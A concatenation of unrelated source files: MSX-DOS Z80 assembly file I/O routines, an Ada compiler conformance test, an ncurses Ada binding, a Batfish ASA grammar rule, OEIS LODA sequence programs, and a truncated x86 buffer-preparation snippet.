ld e,l
ld a,2
ld c,0x4A ; seek to end
call 5
pop bc
lb_op24:
ld h,0
ld l,b
jr lb_op25
;
lb_op1:
push de
push hl ;attributes ignored in DOS-1
ld hl, __buf8_fcbs
ld de,38
ld b,8 ; 8-fcbs
lb_op11:
ld a,(hl)
inc a
jr z,lb_op12
add hl,de
djnz lb_op11
pop de
pop hl
lb_op15:
pop ix
jr lb_op14
;
lb_op12:
ld a,8 ; 8-fcbs
sub b
ld (lb_fdd),a
ex de,hl
pop hl
push de
call __setupfcb
pop de
pop bc
bit 5,c ;CREATE?
push bc
ld c,0xF
jr z,lb_op13
ld c,0x16
lb_op13:
push de
call 5
ld (__io_errno),a
pop de
pop bc
or a
jr nz,lb_op15
ld hl,14
add hl,de
ld (hl),1 ;set reclen = 1
inc hl
ld (hl),0
push hl
ld de,18
add hl,de ;hl -> RANDOMREC
ex de,hl
pop hl
inc hl
bit 6,c
jr nz,lb_op16
ld hl,lb_po0
lb_op16:
ld bc,4
ldir
ld hl,(lb_fdd)
jp lb_op25
;
;.area _DATA
lb_po0:
db 0,0,0,0 ;pointer position for OPEN
;--- end of proc
SECTION CODE
;--- proc close
;
; int Close(FD fd); -- DOS1, DOS2
;
PUBLIC _Close
_Close:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
pop ix
PUBLIC _iclose
_iclose:
ld h,0
ld a,(__os_ver)
dec a
dec a
jr z,lb_cl2 ; MSXDOS2 can do the same as MSXDOS1
xor a
jr lb_cl1 ; MSXDOS1
lb_cl0:
push ix
call 5
lb_cl00:
pop ix
or a
ld hl,0
ld (__io_errno),a
ret z
dec hl
ret
;
lb_cl1:
call _get_fd
ex de,hl
ld c,0x10
push ix
push de
call 5
pop hl
ld (hl),255
jr lb_cl00
;
lb_cl2:
ld b,l
ld c,0x45
jr lb_cl0
;
;.area _DATA
lb_fdd:
dw 0
;--- end of proc
SECTION CODE
;--- proc create
;
; FD Create(char *name) -- DOS1(attributes ignored), DOS2
; FD CreateAttrib(char *name, int attr) -- DOS2
;
PUBLIC _Create
_Create:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
pop ix
ld de,0
jr lb_crt
PUBLIC _CreateAttrib
_CreateAttrib:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
ld e,(ix+6)
ld d,(ix+7)
pop ix
lb_crt:
ld c,e
ld b,d
ld e,0x39
jp _iopen
;--- end of proc
;--- proc read
;
; int Read(FD fd, void *buf, int nbytes); -- DOS1, DOS2
;
PUBLIC _Read
_Read:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
ld e,(ix+6)
ld d,(ix+7)
ld c,(ix+8)
ld b,(ix+9)
pop ix
PUBLIC _iread
_iread:
push ix
ld a,(__os_ver)
dec a
dec a
jr z,lb_rd2 ; MSXDOS2 can do the same as MSXDOS1
xor a
jr lb_rd1 ; MSXDOS1
lb_rd3:
call 5
lb_rd3a:
pop ix
cp 2
ret c
ld (__io_errno),a
ld hl,0
ret
;
lb_rd1:
push bc
push hl
ld c,0x1A
call 5
pop hl
call _get_fd
ex de,hl
pop hl ;byte cnt
ld c,0x27
push de
call 5
pop ix
bit 7,(ix+24)
jr z,lb_rd3a
set 6,(ix+24)
jr lb_rd3a
;
lb_rd2:
ld a,l
ld l,c
ld h,b
ld b,a
ld c,0x48
jr lb_rd3
;--- end of proc
;--- proc write
;
; int Write(FD fd,void *buf,int nbytes); -- DOS1, DOS2
;
PUBLIC _Write
_Write:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
ld e,(ix+6)
ld d,(ix+7)
ld c,(ix+8)
ld b,(ix+9)
pop ix
PUBLIC _iwrite
_iwrite:
push ix
ld a,(__os_ver)
dec a
dec a
jr z,lb_wr2 ; MSXDOS2 can do the same as MSXDOS1
xor a
jr lb_wr1 ; MSXDOS1
lb_wr3:
call 5
pop ix
cp 2
ret c
ld (__io_errno),a
ld hl,0
ret
;
lb_wr1:
push bc
push hl
ld c,0x1A
call 5
pop hl
call _get_fd
ex de,hl
pop hl ;byte cnt
ld c,0x26
jr lb_wr3
;
lb_wr2:
ld a,l
ld l,c
ld h,b
ld b,a
ld c,0x49
jr lb_wr3
;--- end of proc
;--- proc lseek
;
; char Lseek(FD fd,long *where, char ot); -- DOS1, DOS2
;
;
PUBLIC _Lseek
_Lseek:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
ld e,(ix+6)
ld d,(ix+7)
ld c,(ix+8)
ld b,(ix+9)
pop ix
call _ilseek
ld l,a
ld h,0
ret
PUBLIC _ilseek
_ilseek:
push ix
ld a,(__os_ver)
dec a
dec a
jr z,lb_sk2 ; MSXDOS2 can do the same as MSXDOS1
xor a
jr lb_sk1 ; MSXDOS1
lb_sk0:
call 5
pop ix
ld (__io_errno),a
ret
;
lb_sk2:
ld a,c
ld b,l
push de
pop ix
ld l,(ix+0)
ld h,(ix+1)
ld e,(ix+2)
ld d,(ix+3)
ld c,0x4A
jr lb_sk0
;
lb_sk1:
push de
push bc
call _get_fd
ex de,hl ;where to put
pop bc
ld a,c
or a
ld hl,lb_p00
jr z,lb_sk11
ld hl,33
add hl,de
dec a
jr z,lb_sk11
ld hl,16
add hl,de
lb_sk11:
ld b,h
ld c,l ;where to get
ld hl,33
add hl,de
ex de,hl ;where to put
pop hl ;pop offset pointer
ld a,(bc)
add a,(hl)
ld (de),a
inc bc
inc de
inc hl
ld a,(bc)
adc a,(hl)
ld (de),a
inc bc
inc de
inc hl
ld a,(bc)
adc a,(hl)
ld (de),a
inc bc
inc de
inc hl
ld a,(bc)
adc a,(hl)
ld (de),a
xor a
pop ix
ret
;.area _DATA
lb_p00:
db 0,0,0,0
;--- end of proc
SECTION CODE
;--- proc ltell
;
; char _Ltell(FD fd, long *where); -- DOS1, DOS2
;
PUBLIC _Ltell
_Ltell:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
ld e,(ix+6)
ld d,(ix+7)
pop ix
call _iltell
ld l,a
ld h,0
ret
PUBLIC _iltell
_iltell:
push ix
ld a,(__os_ver)
dec a
dec a
jr z,lb_tl2 ; MSXDOS2 can do the same as MSXDOS1
xor a
jr lb_tl1 ; MSXDOS1
lb_tl2a:
pop ix
ld (__io_errno),a
ret
;
lb_tl2:
push de
ld a,1
ld b,l
ld hl,0
ld de,0
ld c,0x4A
call 5
pop ix
ld (ix+0),l
ld (ix+1),h
ld (ix+2),e
ld (ix+3),d
jr lb_tl2a
;
lb_tl1:
push de
call _get_fd
ld de,33
add hl,de
pop de
ld bc,4
ldir
xor a
pop ix
ret
;--- end of proc
;--- proc getcwd
;
; char GetCWD(char *buf, int size); -- DOS1, DOS2
;
PUBLIC _GetCWD
_GetCWD:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
ld c,(ix+6)
ld b,(ix+7)
pop ix
call _igetcwd
ld l,a
ld h,0
ret
PUBLIC _igetcwd
_igetcwd:
push ix
push hl
push bc
ld c,0x19
call 5
ld l,a
ld a,(__os_ver)
dec a
dec a
jr z,lb_gc2 ; MSXDOS2 can do the same as MSXDOS1
xor a
jr lb_gc1 ; MSXDOS1
lb_gc3:
pop bc
pop de
ld hl,(0xF34D)
push de
ldir
dec de
lb_gc0:
xor a
ld (de),a
pop hl
pop ix
ret
;
lb_gc1:
pop bc
pop de
push de
ld a,'A'
add a,l
ld (de),a
inc de
ld a,':'
ld (de),a
inc de
jr lb_gc0
;
lb_gc2:
ld b,l
ld de,(0xF34D)
ld c,0x59
call 5
jr lb_gc3
;--- end of proc
;--- proc REMOVE
;
; char Remove(char *filename) -- DOS1, DOS2
;
PUBLIC _Remove
_Remove:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
pop ix
call _iremove
ld l,a
ld h,0
ret
PUBLIC _iremove
_iremove:
ld a,(__os_ver)
dec a
dec a
jr z,lb_re2 ; MSXDOS2 can do the same as MSXDOS1
xor a
jr lb_re1 ; MSXDOS1
lb_re3:
push ix
call 5
pop ix
ld (__io_errno),a
ret
lb_re2:
ex de,hl
ld c,0x4D
ld hl,0
jr lb_re3
lb_re1:
ld de,_xfcb
call __setupfcb
ld de,_xfcb
ld c,0x13
jr lb_re3
;--- end of proc
;--- proc RENAME
;
; char Rename(char *old_name, char *new_name); -- DOS1, DOS2
;
PUBLIC _Rename
_Rename:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
ld e,(ix+6)
ld d,(ix+7)
pop ix
call _irename
ld l,a
ld h,0
ret
PUBLIC _irename
_irename:
push ix
ld a,(__os_ver)
dec a
dec a
jr z,lb_ren2 ; MSXDOS2 can do the same as MSXDOS1
xor a
jr lb_ren1 ; MSXDOS1
lb_ren0:
call 5
pop ix
ld (__io_errno),a
ret
;
lb_ren2:
push hl
push de
ld c,0x4D
call 5 ;delete new
pop hl
pop de
ld c,0x4E
jr lb_ren0
;
lb_ren1:
push de
ld de,_xfcb
call __setupfcb
pop hl
ld de,_xfcb+16
call __setupfcb
ld de,_xfcb+16
ld c,0x13
call 5
ld de,_xfcb
ld c,0x17
jr lb_ren0
;--- end of proc
;--- proc CHDIR
;
; char ChangeDir(char *path); -- DOS2
;
PUBLIC _ChangeDir
_ChangeDir:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
pop ix
call _ichdir
ld l,a
ld h,0
ret
PUBLIC _ichdir
_ichdir:
ld a,(__os_ver)
dec a
dec a
ret m
ex de,hl
ld c,0x5A
push ix
call 5
pop ix
ld (__io_errno),a
ret
;--- end of proc
;--- proc MKDIR
;
; char MakeDir(char *name); -- DOS2
;
PUBLIC _MakeDir
_MakeDir:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
pop ix
call _imkdir
ld l,a
ld h,0
ret
PUBLIC _imkdir
_imkdir:
ld a,(__os_ver)
dec a
dec a
ret m
push ix
ex de,hl
jr z,lb_mkd1
ld c,0x41
lb_mkd0:
call 5
pop ix
ld (__io_errno),a
ret
;
lb_mkd1:
ld bc,0x9044
xor a
jr lb_mkd0
;--- end of proc
;--- proc RMDIR
;
; char Removedir(char *name); -- DOS2
;
PUBLIC _RemoveDir
_RemoveDir:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
pop ix
call _irmdir
ld l,a
ld h,0
ret
PUBLIC _irmdir
_irmdir:
ex de,hl
ld a,(__os_ver)
dec a
dec a
ret m
push ix
ld c,0x4D
jr z,lb_rmd0
ld c,0x42
lb_rmd0:
call 5
pop ix
ld (__io_errno),a
ret
;--- end of proc
;--- proc FINDFIRST
;
; char FindFirst(char *willcard, char *result, int attrib); -- DOS1, DOS2
;
; For MSXDOS2 attrib:
; 0 - only non-hidden, non-system files
;
PUBLIC _FindFirst
_FindFirst:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
ld e,(ix+6)
ld d,(ix+7)
ld c,(ix+8)
ld b,(ix+9)
call _ifindfirst
pop ix
ld l,a
ld h,0
ret
_ifindfirst:
ld a,(__os_ver)
dec a
dec a
jr z,lb_ff2 ; MSXDOS2 can do the same as MSXDOS1
xor a
; other use FCB way to get filename, attribute is ignored
push de
ld de,_ffcb
push de
call __setupfcb
pop de
push de
ld de,_xfcb
ld c,0x1A
call 5
pop de
ld c,0x11
PUBLIC lb_ff1c
lb_ff1c:
call 5
ld (__io_errno),a
pop de
or a
ret nz
ld c,12
ld hl,_xfcb+1
lb_ffo:
ld a,(hl)
cp a, 32
jr z, lb_ff0
ld (de),a
inc de
lb_ff0:
inc hl
dec c
jr z, lb_ffe
ld a,4
cp c
jr nz, lb_ffo
ld a, '.'
ld (de),a
inc de
jr lb_ffo
lb_ffe:
dec de
ld a,(de)
cp '.'
jr nz, lb_ffe2
inc de
lb_ffe2:
xor a
ld (de),a
ret
lb_ff2:
push de
ld c,0x40
ld b,c
ld d,h
ld e,l
PUBLIC lb_ff2c
lb_ff2c:
xor a
ld h,a
ld l,a
ld ix, _xfcb
call 5
ld (__io_errno),a
pop de
or a
ret nz
ld hl, _xfcb+1
lb_ff2a:
ld a, (hl)
ld (de),a
inc hl
inc de
or a
jr nz, lb_ff2a
ret
;--- end of proc
;--- proc FINDNEXT
;
; char FindNext(char *result); -- DOS1, DOS2
;
;
PUBLIC _FindNext
_FindNext:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
ld c,(ix+6)
ld b,(ix+7)
call _ifindnext
pop ix
ld l,a
ld h,0
ret
_ifindnext:
push hl
ld a,(__os_ver)
dec a
dec a
jr z,lb_fn2 ; MSXDOS2 can do the same as MSXDOS1
xor a
ld c,0x12
jr lb_ff1c
lb_fn2:
ld c,0x41
jr lb_ff2c
;--- end of proc
;--- proc setdisk
;
; void SetDisk(int diskno)
;
PUBLIC _SetDisk
_SetDisk:
push ix
ld ix,0
add ix,sp
ld a,(ix+4)
ld e,a
ld c,0xE
call 5
pop ix
ret
;--- end of proc
;--- proc getdisk
;
; int GetDisk();
;
PUBLIC _GetDisk
_GetDisk:
push ix
ld c,0x19
call 5
ld h,0
ld l,a
pop ix
ret
;--- end of proc
;
; Diskload - load binary file from disk to RAM.
;
; Compile on SDCC for MSX
;
SECTION CODE
PUBLIC _DiskLoad
_DiskLoad:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
ld e,(ix+6)
ld d,(ix+7)
ld c,(ix+8)
ld b,(ix+9)
push bc
push de
ld a,1
ld (loadflag),a
; prepare FCB
push hl
ld hl,f_fcb
ld de,f_fn
push de
ld bc,36
xor a
ld (hl),a
ldir
pop de
pop hl
; copy filename into FCB
ld bc,11
ldir
; open file for reading
ld de,f_fcb
ld c, 0xF
call 5
ld hl,1
ld (f_groot),hl
dec hl
ld (f_blok),hl
ld (f_blok+2),hl
ld hl,(f_bleng) ; obtain file size
pop de
push hl
; set writing to RAM address
ld c,0x1A
call 5
pop hl
; read from file
ld de,f_fcb
ld c,0x27
call 5
ld (loadflag),a ;sets 0 if ok, 1 if can not load
ld de,f_fcb
ld c,0x10
call 5
pop bc
ld (lb_calladdr),bc
pop ix
xor a
or b
or c
jr z, lb_exit_
db 0xCD ; call to address
lb_calladdr:
db 0
db 0
lb_exit_:
ld a,(loadflag)
ld l,a
ld h,0
ret
; .area _DATA
loadflag: db 0
f_fcb: db 0
f_fn: db "???????????" ;11 chars
dw 0
f_groot: dw 0
f_bleng: ds 17
f_blok: dw 0
dw 0
db 0
SECTION CODE
;
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c9/c95072b.ada | best08618/asylo | 7 | 29774 | <reponame>best08618/asylo
-- C95072B.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT PRIVATE TYPES IMPLEMENTED AS SCALAR OR ACCESS TYPES ARE
-- PASSED BY COPY FOR ALL MODES.
-- SUBTESTS ARE:
-- (A) PRIVATE SCALAR PARAMETERS TO ENTRIES.
-- (B) PRIVATE ACCESS PARAMETERS TO ENTRIES.
-- JWC 7/22/85
WITH REPORT; USE REPORT;
PROCEDURE C95072B IS
BEGIN
TEST("C95072B", "CHECK THAT PRIVATE SCALAR AND ACCESS " &
"PARAMETERS ARE COPIED");
---------------------------------------------------
DECLARE -- (A)
PACKAGE SCALAR_PKG IS
TYPE T IS PRIVATE;
C0 : CONSTANT T;
C1 : CONSTANT T;
C10 : CONSTANT T;
C100 : CONSTANT T;
FUNCTION "+" (OLD : IN T; INCREMENT : IN T) RETURN T;
FUNCTION CONVERT (OLD_PRIVATE : IN T) RETURN INTEGER;
PRIVATE
TYPE T IS NEW INTEGER;
C0 : CONSTANT T := 0;
C1 : CONSTANT T := 1;
C10 : CONSTANT T := 10;
C100 : CONSTANT T := 100;
END SCALAR_PKG;
PACKAGE BODY SCALAR_PKG IS
FUNCTION "+" (OLD : IN T; INCREMENT : IN T) RETURN T IS
BEGIN
RETURN T (INTEGER(OLD) + INTEGER(INCREMENT));
END "+";
FUNCTION CONVERT (OLD_PRIVATE : IN T) RETURN INTEGER IS
BEGIN
RETURN INTEGER (OLD_PRIVATE);
END CONVERT;
END SCALAR_PKG;
USE SCALAR_PKG;
BEGIN -- (A)
DECLARE -- (A1)
I : T;
E : EXCEPTION;
TASK TA IS
ENTRY EA (EI : IN T; EO : OUT T;
EIO : IN OUT T);
END TA;
TASK BODY TA IS
TEMP : T;
BEGIN
ACCEPT EA (EI : IN T; EO : OUT T;
EIO : IN OUT T) DO
TEMP := EI; -- SAVE VALUE OF EI AT ACCEPT.
EO := C10;
IF EI /= TEMP THEN
FAILED ("ASSIGNMENT TO PRIVATE " &
"(SCALAR) OUT PARAMETER " &
"CHANGES THE VALUE OF INPUT " &
"PARAMETER");
TEMP := EI; -- RESET TEMP FOR NEXT CASE.
END IF;
EIO := EIO + C100;
IF EI /= TEMP THEN
FAILED ("ASSIGNMENT TO PRIVATE " &
"(SCALAR) IN OUT PARAMETER " &
"CHANGES THE VALUE OF INPUT " &
"PARAMETER");
TEMP := EI; -- RESET TEMP FOR NEXT CASE.
END IF;
I := I + C1;
IF EI /= TEMP THEN
FAILED ("ASSIGNMENT TO PRIVATE " &
"(SCALAR) ACTUAL PARAMETER " &
"CHANGES THE VALUE OF " &
"INPUT PARAMETER");
END IF;
RAISE E; -- CHECK EXCEPTION
-- HANDLING.
END EA;
EXCEPTION
WHEN OTHERS => NULL;
END TA;
BEGIN -- (A1)
I := C0; -- INITIALIZE I SO VARIOUS CASES CAN BE
-- DETECTED.
TA.EA (I, I, I);
FAILED ("EXCEPTION NOT RAISED - A");
EXCEPTION
WHEN E =>
IF I /= C1 THEN
CASE CONVERT (I) IS
WHEN 11 =>
FAILED ("OUT ACTUAL PRIVATE " &
"(SCALAR) PARAMETER " &
"CHANGED GLOBAL VALUE");
WHEN 101 =>
FAILED ("IN OUT ACTUAL PRIVATE " &
"(SCALAR) PARAMETER " &
"CHANGED GLOBAL VALUE");
WHEN 111 =>
FAILED ("OUT AND IN OUT ACTUAL " &
"PRIVATE (SCALAR) " &
"PARAMETER CHANGED " &
"GLOBAL VALUE");
WHEN OTHERS =>
FAILED ("UNDETERMINED CHANGE TO " &
"GLOBAL VALUE");
END CASE;
END IF;
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED - A");
END; -- (A1)
END; -- (A)
---------------------------------------------------
DECLARE -- (B)
PACKAGE ACCESS_PKG IS
TYPE T IS PRIVATE;
C_NULL : CONSTANT T;
C1 : CONSTANT T;
C10 : CONSTANT T;
C100 : CONSTANT T;
C101 : CONSTANT T;
PRIVATE
TYPE T IS ACCESS INTEGER;
C_NULL : CONSTANT T := NULL;
C1 : CONSTANT T := NEW INTEGER'(1);
C10 : CONSTANT T := NEW INTEGER'(10);
C100 : CONSTANT T := NEW INTEGER'(100);
C101 : CONSTANT T := NEW INTEGER'(101);
END ACCESS_PKG;
USE ACCESS_PKG;
BEGIN -- (B)
DECLARE -- (B1)
I : T;
E : EXCEPTION;
TASK TB IS
ENTRY EB (EI : IN T; EO : OUT T;
EIO : IN OUT T);
END TB;
TASK BODY TB IS
TEMP : T;
BEGIN
ACCEPT EB (EI : IN T; EO : OUT T;
EIO : IN OUT T) DO
TEMP := EI; -- SAVE VALUE OF EI AT ACCEPT.
I := C101;
IF EI /= TEMP THEN
FAILED ("ASSIGNMENT TO PRIVATE " &
"(ACCESS) ACTUAL VARIABLE " &
"CHANGES THE VALUE OF INPUT " &
"PARAMETER");
TEMP := EI; -- RESET TEMP FOR NEXT CASE.
END IF;
EO := C1;
IF EI /= TEMP THEN
FAILED ("ASSIGNMENT TO PRIVATE " &
"(ACCESS) OUT PARAMETER " &
"CHANGES THE VALUE OF INPUT " &
"PARAMETER");
TEMP := EI; -- RESET TEMP FOR NEXT CASE.
END IF;
EIO := C10;
IF EI /= TEMP THEN
FAILED ("ASSIGNMENT TO PRIVATE " &
"(ACCESS) IN OUT PARAMETER " &
"CHANGES THE VALUE OF INPUT " &
"PARAMETER");
END IF;
RAISE E; -- CHECK EXCEPTION
-- HANDLING.
END EB;
EXCEPTION
WHEN OTHERS => NULL;
END TB;
BEGIN -- (B1)
I := C100;
TB.EB (I, I, I);
FAILED ("EXCEPTION NOT RAISED - B");
EXCEPTION
WHEN E =>
IF I /= C101 THEN
FAILED ("OUT OR IN OUT ACTUAL ENTRY " &
"PARAMETER VALUE CHANGED DESPITE " &
"RAISED EXCEPTION");
END IF;
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED - B");
END; -- (B1)
END; -- (B)
---------------------------------------------------
RESULT;
END C95072B;
|
Ada95/src/terminal_interface-curses-text_io-aux.adb | ProtonAOSP-platina/android_external_libncurses | 269 | 22724 | <reponame>ProtonAOSP-platina/android_external_libncurses
------------------------------------------------------------------------------
-- --
-- GNAT ncurses Binding --
-- --
-- Terminal_Interface.Curses.Text_IO.Aux --
-- --
-- B O D Y --
-- --
------------------------------------------------------------------------------
-- Copyright 2020 <NAME> --
-- Copyright 1999-2006,2009 Free Software Foundation, Inc. --
-- --
-- Permission is hereby granted, free of charge, to any person obtaining a --
-- copy of this software and associated documentation files (the --
-- "Software"), to deal in the Software without restriction, including --
-- without limitation the rights to use, copy, modify, merge, publish, --
-- distribute, distribute with modifications, sublicense, and/or sell --
-- copies of the Software, and to permit persons to whom the Software is --
-- furnished to do so, subject to the following conditions: --
-- --
-- The above copyright notice and this permission notice shall be included --
-- in all copies or substantial portions of the Software. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS --
-- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF --
-- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. --
-- IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, --
-- DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR --
-- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR --
-- THE USE OR OTHER DEALINGS IN THE SOFTWARE. --
-- --
-- Except as contained in this notice, the name(s) of the above copyright --
-- holders shall not be used in advertising or otherwise to promote the --
-- sale, use or other dealings in this Software without prior written --
-- authorization. --
------------------------------------------------------------------------------
-- Author: <NAME>, 1996
-- Version Control:
-- $Revision: 1.14 $
-- $Date: 2020/02/02 23:34:34 $
-- Binding Version 01.00
------------------------------------------------------------------------------
package body Terminal_Interface.Curses.Text_IO.Aux is
procedure Put_Buf
(Win : Window;
Buf : String;
Width : Field;
Signal : Boolean := True;
Ljust : Boolean := False)
is
L : Field;
Len : Field;
W : Field := Width;
LC : Line_Count;
CC : Column_Count;
Y : Line_Position;
X : Column_Position;
procedure Output (From, To : Field);
procedure Output (From, To : Field)
is
begin
if Len > 0 then
if W = 0 then
W := Len;
end if;
if Len > W then
-- LRM A10.6 (7) says this
W := Len;
end if;
pragma Assert (Len <= W);
Get_Size (Win, LC, CC);
if Column_Count (Len) > CC then
if Signal then
raise Layout_Error;
else
return;
end if;
else
if Len < W and then not Ljust then
declare
Filler : constant String (1 .. (W - Len))
:= (others => ' ');
begin
Put (Win, Filler);
end;
end if;
Get_Cursor_Position (Win, Y, X);
if (X + Column_Position (Len)) > CC then
New_Line (Win);
end if;
Put (Win, Buf (From .. To));
if Len < W and then Ljust then
declare
Filler : constant String (1 .. (W - Len))
:= (others => ' ');
begin
Put (Win, Filler);
end;
end if;
end if;
end if;
end Output;
begin
pragma Assert (Win /= Null_Window);
if Ljust then
L := 1;
for I in 1 .. Buf'Length loop
exit when Buf (L) = ' ';
L := L + 1;
end loop;
Len := L - 1;
Output (1, Len);
else -- input buffer is not left justified
L := Buf'Length;
for I in 1 .. Buf'Length loop
exit when Buf (L) = ' ';
L := L - 1;
end loop;
Len := Buf'Length - L;
Output (L + 1, Buf'Length);
end if;
end Put_Buf;
end Terminal_Interface.Curses.Text_IO.Aux;
|
projects/batfish/src/main/antlr4/org/batfish/grammar/cisco_asa/Asa_static.g4 | pranavbj-amzn/batfish | 0 | 5358 | <gh_stars>0
parser grammar Asa_static;
import Asa_common;
options {
tokenVocab = AsaLexer;
}
s_route
:
ROUTE
iface = variable
destination = IP_ADDRESS mask = IP_ADDRESS
gateway = IP_ADDRESS
(distance = protocol_distance)?
(
TUNNELED
| TRACK track = dec
)?
NEWLINE
; |
programs/oeis/070/A070425.asm | karttu/loda | 0 | 2998 | ; A070425: a(n) = 7^n mod 43.
; 1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42,36,37,1,7,6,42
mov $1,1
mov $2,$0
lpb $2,1
mul $1,7
mod $1,43
sub $2,1
lpe
|
programs/oeis/168/A168380.asm | jmorken/loda | 1 | 105168 | ; A168380: Row sums of A168281.
; 2,4,12,20,38,56,88,120,170,220,292,364,462,560,688,816,978,1140,1340,1540,1782,2024,2312,2600,2938,3276,3668,4060,4510,4960,5472,5984,6562,7140,7788,8436,9158,9880,10680,11480,12362,13244,14212,15180,16238,17296,18448,19600,20850,22100,23452,24804,26262,27720,29288,30856,32538,34220,36020,37820,39742,41664,43712,45760,47938,50116,52428,54740,57190,59640,62232,64824,67562,70300,73188,76076,79118,82160,85360,88560,91922,95284,98812,102340,106038,109736,113608,117480,121530,125580,129812,134044,138462,142880,147488,152096,156898,161700,166700,171700,176902,182104,187512,192920,198538,204156,209988,215820,221870,227920,234192,240464,246962,253460,260188,266916,273878,280840,288040,295240,302682,310124,317812,325500,333438,341376,349568,357760,366210,374660,383372,392084,401062,410040,419288,428536,438058,447580,457380,467180,477262,487344,497712,508080,518738,529396,540348,551300,562550,573800,585352,596904,608762,620620,632788,644956,657438,669920,682720,695520,708642,721764,735212,748660,762438,776216,790328,804440,818890,833340,848132,862924,878062,893200,908688,924176,940018,955860,972060,988260,1004822,1021384,1038312,1055240,1072538,1089836,1107508,1125180,1143230,1161280,1179712,1198144,1216962,1235780,1254988,1274196,1293798,1313400,1333400,1353400,1373802,1394204,1415012,1435820,1457038,1478256,1499888,1521520,1543570,1565620,1588092,1610564,1633462,1656360,1679688,1703016,1726778,1750540,1774740,1798940,1823582,1848224,1873312,1898400,1923938,1949476,1975468,2001460,2027910,2054360,2081272,2108184,2135562,2162940,2190788,2218636,2246958,2275280,2304080,2332880,2362162,2391444,2421212,2450980,2481238,2511496,2542248,2573000,2604250,2635500
mov $4,$0
add $4,1
mov $6,$0
lpb $4
mov $0,$6
sub $4,1
sub $0,$4
div $0,2
add $0,1
pow $0,2
mov $2,1
mov $5,$3
lpb $2
mul $2,$3
lpb $0
sub $0,1
add $5,2
lpe
lpe
add $1,$5
lpe
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2233.asm | ljhsiun2/medusa | 9 | 28438 | <filename>Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2233.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x943, %rdx
nop
nop
nop
cmp $46591, %r8
mov (%rdx), %rbx
nop
nop
nop
nop
nop
add $24905, %r14
lea addresses_normal_ht+0x1c457, %rsi
lea addresses_UC_ht+0xb9a3, %rdi
nop
nop
nop
add %r15, %r15
mov $56, %rcx
rep movsw
nop
add %rsi, %rsi
lea addresses_normal_ht+0x13f03, %rsi
lea addresses_D_ht+0x303, %rdi
nop
nop
nop
xor %r8, %r8
mov $55, %rcx
rep movsl
and %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r8
